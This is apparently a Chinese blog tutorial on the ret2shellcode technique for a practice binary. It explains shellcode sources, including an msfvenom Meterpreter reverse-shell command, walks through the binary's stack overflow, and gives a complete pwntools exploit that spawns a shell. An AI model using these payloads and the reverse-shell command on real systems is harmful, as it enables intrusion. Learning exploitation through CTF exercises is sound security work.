PWN! PWN! PANG! Part5
呼~~好久没有继续更新PWN笔记了 (最近学的Web安全的笔记也没写 逃)
资料投放
老规矩,开头上资料= =
ShellCode
既然今天的话题叫做ret2shellcode,我们先来了解一下ShellCode
什么是ShellCode
shellcode是一段用于利用软件漏洞而执行的代码,也可以认为是一段填充数据,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写
如何获取ShellCode
获取ShellCode有很多种方法,这里简单介绍几种
利用PWNTools自带函数
首先设置目标程序 的参数
context(os='linux', arch='amd64', log_level='debug')# os指操作系统,这里是Linux
# arch指架构,64位一般是amd64,32位一般是i386
# log_level指日志输出的等级,debug为调试模式
然后用shellcraft.sh()
函数获取ShellCode的汇编代码,再调用asm()
变成机器码
shellcode = asm(shellcraft.sh())
网上找现成的ShellCode
ShellStorm中包含多种平台,多种长度,多种功能的ShellCode
为什么ShellCode会考虑长度?
答: 有时候栈中填入的ShellCode有长度限制
这里举个例子,只有8字节的ShellCode
"\x99\x6a\x0b\x58\x60\x59\xcd\x80"
metasploit
想要一个功能更强大且不想要网上到处找?
MSF的meterpreter
你绝对喜欢
生成ShellCode命令
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f <language>
自己写
建议新手采用前几种方案,要是各位有兴趣自己写ShellCode的话可以参考这个PDF
PWN! PWN! PANG?
本题思路和ret2text大体差不多,差别主要在返回地址上,ret2text是返回到text段的后门函数,而本次的ret2shellcode是返回到ShellCode
大家可以先自己试试再看下面的思路分析.QwQ.
大概先提几点提示:
-
ShellCode写入哪里呢?
-
ShellCode的地址是什么?
ret2shellcode
先checksec
一下
$ checksec ret2shellcode
[*] '/home/pwn/桌面/ROP/ret2shellcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
看到这个32位程序NX是关闭的,而且有同时可以读,写,执行的段(也就是栈),我们想到可以把ShellCode写入栈中,并通过栈溢出返回到栈中的ShellCode
但是,我们貌似忽视了一个重要的问题
目标机一般都是完全打开ASLR,也就意味着每次运行程序时,组件(包括堆栈,堆和库)都将移至虚拟内存中的其他地址。 我们无法通过反复试验来了解目标所在,因为每次的地址都会不同。
因此,很显然我们并不能找到ShellCode的地址,也就没办法返回到栈上的ShellCode
当然,如果各位想尝试一下上面的思路的话,直接将ASLR关闭即可
该利用姿势ret2stack大家可以查看我朋友BlackRabbit的文章
记得留个关注呐 .QwQ.
反汇编分析
查看主函数反编译出的C代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("bye bye ~");
return 0;
}
我们可以看出这里通过gets()
读入了数组s
,并把数组s
的值传给了buf2
,而这个buf2
位于.bss
节(看起来应该是一个全局变量)
想到这里,我们不禁露出了恶毒的笑容
我们在数组s
中读入的shellcode会被程序同时放在buf2
中,这样我们通过溢出数组s,把
main
函数的返回地址覆盖成buf2
的地址即可
Exploit
通过gdb调试该程序发现在返回地址前需数据112字节
gdb调试在这里不再演示了,不会的可以查看上一篇文章
但由于我们还需要写入ShellCode,我们必须选一个小于等于112字节的ShellCode,并把不足112字节的部分用垃圾数据填充
由此写出EXP:
# -*- coding: utf-8 -*-
from pwn import *
context(os='linux', arch='i386')
shellcode = asm(shellcraft.sh())
elf = ELF("ret2shellcode")
io = process("./ret2shellcode")
io.recvline()
payload = shellcode.ljust(112,b'A')+p32(elf.symbols["buf2"])
#shellcode.ljust(112,b'A')指shellcode不够112字节的地方用A填充
io.sendline(payload)
io.interactive()
Ref
https://blog.csdn.net/weixin_43916678/article/details/107181228
https://blog.csdn.net/qq_35495684/article/details/79583232
https://notchxor.github.io/oscp-notes/8-cheatsheets/msfvenom/
https://www.bilibili.com/read/cv14181790
https://blog.csdn.net/culinxia2707/article/details/108788113